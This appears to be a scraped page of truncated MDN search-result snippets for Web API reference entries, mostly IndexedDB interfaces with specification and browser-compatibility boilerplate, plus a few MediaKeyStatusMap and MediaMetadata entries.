abase api 2.0the definition of 'add()' in that specification. recommendation indexed database api draftthe definition of 'add()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaddchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor...
IDBObjectStore.autoIncrement - Web APIs
definition of 'autoincrement' in that specification. recommendation indexed database api draftthe definition of 'autoincrement' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetautoincrementchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with ...
IDBObjectStore.clear() - Web APIs
e api 2.0the definition of 'clear()' in that specification. recommendation indexed database api draftthe definition of 'clear()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vend...
IDBObjectStore.count() - Web APIs
e api 2.0the definition of 'count()' in that specification. recommendation indexed database api draftthe definition of 'count()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vend...
IDBObjectStore.createIndex() - Web APIs
he definition of 'createindex()' in that specification. recommendation indexed database api draftthe definition of 'createindex()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with th...
IDBObjectStore.delete() - Web APIs
api 2.0the definition of 'delete()' in that specification. recommendation indexed database api draftthe definition of 'delete()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the ven...
IDBObjectStore.deleteIndex() - Web APIs
definition of 'deleteindex()' in that specification. recommendation indexed database api draftthe definition of 'deleteindex()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with th...
IDBObjectStore.get() - Web APIs
abase api 2.0the definition of 'get()' in that specification. recommendation indexed database api draftthe definition of 'get()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor...
IDBObjectStore.getKey() - Web APIs
}; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support 48edge full support ≤79firefox full support 51ie ...
IDBObjectStore.index() - Web APIs
e api 2.0the definition of 'index()' in that specification. recommendation indexed database api draftthe definition of 'index()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vend...
IDBObjectStore.indexNames - Web APIs
2.0the definition of 'indexnames' in that specification. recommendation indexed database api draftthe definition of 'indexnames' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexnameschrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the...
IDBObjectStore.keyPath - Web APIs
e api 2.0the definition of 'keypath' in that specification. recommendation indexed database api draftthe definition of 'keypath' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the ve...
IDBObjectStore.name - Web APIs
atabase api 2.0the definition of 'name' in that specification. recommendation indexed database api draftthe definition of 'name' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendo...
IDBObjectStore.openCursor() - Web APIs
he definition of 'opencursor()' in that specification. recommendation indexed database api draftthe definition of 'opencursor()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the...
IDBObjectStore.put() - Web APIs
atabase api 2.0the definition of 'put()' in that specification. recommendation indexed database api draftthe definition of 'put()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetputchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor...
IDBObjectStore.transaction - Web APIs
0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with th...
IDBObjectStore - Web APIs
definition of 'idbobjectstore' in that specification. recommendation indexed database api draftthe definition of 'idbobjectstore' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbobjectstorechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with...
IDBOpenDBRequest.onblocked - Web APIs
2.0the definition of 'onblocked' in that specification. recommendation indexed database api draftthe definition of 'onblocked' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblockedchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
nition of 'onupgradeneeded' in that specification. recommendation indexed database api draftthe definition of 'onupgradeneeded' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneededchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented wit...
IDBRequest.error - Web APIs
abase api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vend...
IDBRequest.onerror - Web APIs
e api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implement...
IDBRequest.onsuccess - Web APIs
i 2.0the definition of 'onsuccess' in that specification. recommendation indexed database api draftthe definition of 'onsuccess' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccesschrome full support 24 full support 24 full support 23prefixed prefixed impleme...
IDBRequest.readyState - Web APIs
2.0the definition of 'readystate' in that specification. recommendation indexed database api draftthe definition of 'readystate' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadystatechrome full support 24 full support 24 full support 23prefixed prefixed implem...
IDBRequest.result - Web APIs
ase api 2.0the definition of 'result' in that specification. recommendation indexed database api draftthe definition of 'result' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetresultchrome full support 24 full support 24 full support 23prefixed prefixed implemente...
IDBRequest.source - Web APIs
ase api 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'source' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 24 full support 24 full support 23prefixed prefixed implemente...
IDBRequest.transaction - Web APIs
0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 full support 23prefixed prefixed imple...
IDBTransaction.objectStoreNames - Web APIs
ition of 'objectstorenames' in that specification. recommendation indexed database api draftthe definition of 'objectstorenames' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 48edge full support ≤79firefox full support yesie ...
IDBTransaction.abort() - Web APIs
base api 2.0the definition of 'abort()' in that specification. recommendation indexed database api draftthe definition of 'abort()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented...
IDBTransaction.commit() - Web APIs
ion specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification. recommendation unitial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommitchrome full support 76edge full support 79firefox full support 74ie ...
IDBTransaction.db - Web APIs
ed database api 2.0the definition of 'db' in that specification. recommendation indexed database api draftthe definition of 'db' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdbchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor ...
IDBTransaction.error - Web APIs
atabase api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vend...
IDBTransaction.mode - Web APIs
atabase api 2.0the definition of 'mode' in that specification. recommendation indexed database api draftthe definition of 'mode' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodechrome full support 24 full support 24 full support 23prefixed prefixed implemented ...
IDBTransaction.objectStore() - Web APIs
e definition of 'objectstore()' in that specification. recommendation indexed database api draftthe definition of 'objectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support 24 full support 24 full support 23prefixed prefixed imple...
IDBTransaction.onabort - Web APIs
e api 2.0the definition of 'onabort' in that specification. recommendation indexed database api draftthe definition of 'onabort' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 full support 23prefixed prefixed implement...
IDBTransaction.oncomplete - Web APIs
i 2.0the definition of 'oncomplete' in that specification. recommendation indexed database api draftthe definition of 'oncomplete' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoncompletechrome full support 24 full support 24 full support 23prefixed prefixed implem...
IDBTransaction.onerror - Web APIs
ase api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implement...
IDBTransaction - Web APIs
btransaction' in that specification. recommendation initial definition indexed database api draftthe definition of 'idbtransaction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbtransactionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with...
IDBVersionChangeEvent.newVersion - Web APIs
2.0the definition of 'newversion' in that specification. recommendation indexed database api draftthe definition of 'newversion' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnewversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the...
IDBVersionChangeEvent.oldVersion - Web APIs
2.0the definition of 'oldversion' in that specification. recommendation indexed database api draftthe definition of 'oldversion' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoldversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the...
IDBVersionChangeEvent.version - Web APIs
with the oldversion and newversion attributes. see the compatibility table to know what browsers support them. syntax readonly attribute unsigned long long? version; value a 64-bit integer. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support ...
IDBVersionChangeRequest.setVersion() - Web APIs
mptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangerequest the request to change the version of a database. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetversion deprecatednon-standardchrome no support noedge no support nofirefox no support ...
IDBVersionChangeRequest - Web APIs
ansaction on the connected database in a separate thread. attributes attribute type description onblocked function the event handler for the blocked event. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbversionchangerequest deprecatednon-standardchrome no support 12 — 23prefixed no support 12 — 23prefixed prefixed implemented with the vendor prefix: webkitedge ...
IIRFilterNode() - Web APIs
kward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not sup...
ImageCapture.takePhoto() - Web APIs
specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimentalchrome full support 60 full support 60 no support 59 — 60notes notes photosettings ...
Using IndexedDB - Web APIs
// http://bugs.jquery.com/ticket/11461 // http://bugs.jquery.com/ticket/7248 // $.ajax({ // url: url, // type: 'get', // xhrfields: { responsetype: 'blob' }, // success: function(data, textstatus, jqxhr) { // console.log("blob retrieved"); ...
InputEvent.dataTransfer - Web APIs
}); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatatransfer experimentalchrome full support 60edge full support 79firefox full support ...
InputEvent.getTargetRanges() - Web APIs
specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettargetranges experimentalchrome full support 60edge full support 79firefox no support ...
Timing element visibility with the Intersection Observer API - Web APIs
}, { bgcolor: "aquamarine", title: "millionsoffreebooks.whatever", body: "read classic literature online free!" }, { bgcolor: "lightgrey", title: "3.14 shades of gray: a novel", body: "love really does make the world go round..." }, { bgcolor: "#fee", title: "flexbox florist", body: "when life's layout gets complicated,
send flowers." } ]; let adbox, title, body, timerelem; let ad = ads[math.floor(math.random()*ads.length)]; if (replacebox) { adobserver.unobserve(replacebox); adbox = replacebox; title = replacebox.queryselector(".title"); body = replacebox.queryselector(".body"); timerelem = replacebox.queryselector(".timer"); } else { adbox = document.createelement("div"); ...
Key Values - Web APIs
:key_spell (0x010000ec) "mailforward" [1] opens the user interface to forward a message. appcommand_forward_mail gdk_key_mailforward (0x1008ff90) qt::key_mailforward (0x010000fb) "mailreply" [1] opens the user interface to reply to a message. appcommand_reply_to_mail gdk_key_reply (0x1008ff72) qt::key_reply (0x010000e5) "mail
send" [1]
sends the current message. appcommand_
send_mail gdk_key_
send (0x1008ff7b) qt::key_
send (0x010000eb) [1] prior to firefox 37, this key generated the key value "unidentified". application selector keys some keyboards offer special keys for launching or switching to certain common applications. key values for those are listed here. keyboardevent.key value...
LargestContentfulPaint - Web APIs
s[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`. (note: `rendertime` may not be available on // image elements loaded cross-origin without the `timing-allow-origin` header.) lcp = lastentry.rendertime || lastentry.loadtime; }); po.observe({type: 'largest-contentful-paint', buffered: true}); //
send data to the server. addeventlistener('visibilitychange', function fn() { if (lcp && document.visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api. } specifications specification status comment largest contentfu...
LocalFileSystem - Web APIs
rr the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. no compatibility data found. please contribute data for "api.localfilesystem" (depth: 1) to the mdn compatibility data repository. ...
LocalFileSystemSync - Web APIs
rr the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. no compatibility data found. please contribute data for "api.localfilesystemsync" (depth: 1) to the mdn compatibility data repository. ...
MSGestureEvent - Web APIs
esture event types msgesturestart msgestureend msgesturetap msgesturehold msgesturechange msinertiastart specifications not part of any specification. microsoft has a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmsgestureevent non-standardchrome no support noedge no support 12 — 79firefox no support noie ...
MediaDeviceInfo.deviceId - Web APIs
fications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceidchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter...
MediaDeviceInfo.kind - Web APIs
pecifications specification status comment media capture and streamsthe definition of 'kind' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js ...
MediaKeyMessageEvent() - Web APIs
a developer-defined message type that allows applications to differentiate messages without parsing them. message: an array containing the message generated by the content decryption module. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimentalchrome full support 42edge full support ≤18firefox ? i...
MediaKeyStatusMap.entries() - Web APIs
yntax // tbd parameters none. returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetentries experimentalchrome full support 42edge full support 16firefox ? ie ? ...
MediaKeyStatusMap.forEach() - Web APIs
s this when executing callback. returns undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeach experimentalchrome full support 42edge full support 13firefox ? ie ? ...
MediaKeyStatusMap.get() - Web APIs
he value associated with the given key, or undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetget experimentalchrome full support 42edge full support 13firefox full support yesie ...
MediaKeyStatusMap.has() - Web APIs
y whose value you want returned returns a boolean. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethas experimentalchrome full support 42edge full support 13firefox full support yesie ...
MediaKeyStatusMap.keys() - Web APIs
p.keys() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeys experimentalchrome full support 42edge full support 16firefox ? ie ? ...
MediaKeyStatusMap.size - Web APIs
teger. specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalchrome full support 42edge full support 13firefox full support yesie ...
MediaKeyStatusMap.values() - Web APIs
values() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalues experimentalchrome full support 42edge full support 16firefox ? ie ? ...
MediaMetadata.album - Web APIs
name of the album. specifications specification status comment media session standardthe definition of 'album' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalbum experimentalchrome full support 57edge no support nofirefox full support 71ie ...
MediaMetadata.artist - Web APIs
me of the artist. specifications specification status comment media session standardthe definition of 'artist' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartist experimentalchrome full support 57edge no support nofirefox full support 71ie ...
MediaMetadata.artwork - Web APIs
